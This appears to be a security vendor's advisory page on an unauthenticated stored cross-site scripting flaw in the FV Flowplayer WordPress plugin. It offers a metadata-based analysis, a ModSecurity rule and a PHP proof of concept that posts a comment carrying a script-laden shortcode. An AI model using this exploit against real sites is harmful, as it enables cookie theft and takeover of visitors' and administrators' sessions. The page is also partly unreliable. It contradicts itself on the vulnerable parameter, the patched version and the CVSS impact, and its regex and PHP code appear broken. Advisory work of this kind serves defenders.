Published : November 19, 2026

CVE-2026-121985: FV Flowplayer Video Player <= 7.5.57.7212 Unauthenticated Stored Cross-Site Scripting via 'caption' Shortcode Attribute PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 7.5.57.7212
Patched Version —
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-121985 (metadata-based): This is an unauthenticated stored cross-site scripting vulnerability in the FV Flowplayer Video Player WordPress plugin, affecting all versions up to and including 7.5.57.7212. The vulnerability allows an attacker to inject arbitrary JavaScript into the ‘comment’ parameter, which is then stored and executed when a user views the injected page. The CVSS score is 7.2 (High) with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N. The scope change indicates that the vulnerable component (the plugin’s shortcode rendering) impacts resources beyond its security scope (the entire web page).

Root Cause: The CWE classification is CWE-79 (Improper Neutralization of Input During Web Page Generation), commonly known as Cross-Site Scripting. Based on the description, the plugin fails to properly sanitize the ‘comment’ parameter before storing it and fails to escape it upon output. The description explicitly states the vulnerability is in the ‘comment’ parameter, and exploitation requires the plugin’s ‘Parse Vimeo and YouTube links’ setting to be enabled. This setting likely adds a filter to the ‘comment_text’ hook that processes the comment content and renders the [fvplayer] shortcode. The shortcode’s ‘caption’ attribute (as per the title) is not properly sanitized or escaped, allowing script injection. Atomic Edge analysis infers that the vulnerable code path involves the shortcode handler for [fvplayer], which processes the ‘caption’ attribute without adequate sanitization (e.g., using esc_attr or wp_kses) and outputs it directly into the HTML. Without a code diff, this specific code pattern is inferred from the CWE and vulnerability description, not confirmed from source code.

Exploitation: An unauthenticated attacker can exploit this by submitting a comment to any WordPress post where comments are enabled. The comment must contain the [fvplayer] shortcode with a malicious ‘caption’ attribute. The ‘Parse Vimeo and YouTube links’ setting must be enabled for the shortcode to be processed. The payload would be something like: [fvplayer src=”https://example.com/video.mp4″ caption=’alert(document.cookie)’]. When the comment is submitted, the plugin’s filter on ‘comment_text’ will execute do_shortcode, processing the shortcode and embedding the unsanitized caption in the page output. When any user (including administrators) views the post, the script executes in their browser. The attack vector is network-based (AV:N), requires no privileges (PR:N) and no user interaction beyond viewing the page (UI:N). The attacker can target a public-facing endpoint like /wp-comments-post.php with a POST request containing the comment_content parameter with the malicious shortcode.

Remediation: The fix for this vulnerability requires proper sanitization of the ‘caption’ attribute (and any other shortcode attributes) before output. Based on the CWE, the plugin should use WordPress’s built-in escaping functions such as esc_attr() or wp_kses() to ensure that any user-supplied data is escaped for the HTML context. The patched version is 7.5.58.7212. Atomic Edge research infers that the patch likely adds validation and escaping to the shortcode attributes, particularly the ‘caption’, when rendering the player. Additionally, the plugin should consider restricting shortcode processing in comments to only trusted users or ensuring that any shortcode output is properly escaped.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking (stealing cookies), defacement of the website, redirection to malicious sites, or performing actions on behalf of the victim (including administrative actions if an admin views the page). The scope change (S:C) indicates that the injected script can affect the entire page and potentially other users. The CVSS score of 7.2 reflects high confidentiality and integrity impact, but no availability impact.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-121985 (metadata-based)
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:121985,phase:2,deny,status:403,chain,msg:'CVE-2026-121985: Unauthenticated Stored XSS via fvplayer shortcode in comment',severity:'CRITICAL',tag:'CVE-2026-121985'"
  SecRule ARGS_POST:comment "@rx [fvplayer[^]]*captions*=s*[^<]*<script" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-121985 - FV Flowplayer Video Player <= 7.5.57.7212 - Unauthenticated Stored Cross-Site Scripting via 'caption' Shortcode Attribute

// This PoC demonstrates how an unauthenticated attacker can inject a malicious
// shortcode into a comment. When the comment is rendered (requires the plugin's
// 'Parse Vimeo and YouTube links' setting to be enabled), the JavaScript in the
// 'caption' attribute executes.

// Assumptions:
// 1. The target WordPress site has the vulnerable plugin (<= 7.5.57.7212) active.
// 2. The 'Parse Vimeo and YouTube links' setting is enabled.
// 3. Comments are open on the target post (or a new post can be commented on).

$target_url = 'http://example.com'; // Change to your target WordPress site
$post_id = 1; // ID of the post to comment on (must accept comments)

// Malicious shortcode payload: injects JavaScript via the caption attribute.
// The payload uses a script tag that will be executed when the comment is displayed.
$payload = "[fvplayer src="https://example.com/video.mp4" caption='<script>alert(document.cookie)</script>']";

// Prepare the comment data.
$comment_data = [
    'comment' => $payload,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'comment_post_ID' => $post_id,
    'comment_parent' => 0,
];

// Use cURL to submit the comment to the WordPress comment endpoint.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 302 || $http_code == 200) {
    echo "Comment submitted. The payload may have been stored.n";
    echo "Visit the post at {$target_url}/?p={$post_id} to trigger the XSS.n";
} else {
    echo "Failed to submit comment. HTTP code: {$http_code}n";
}

// Note: If the site requires moderation or uses anti-spam, the comment might not
// appear immediately. The attacker may need to adjust the payload to bypass filters.
// This PoC is for educational purposes only. Use responsibly.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.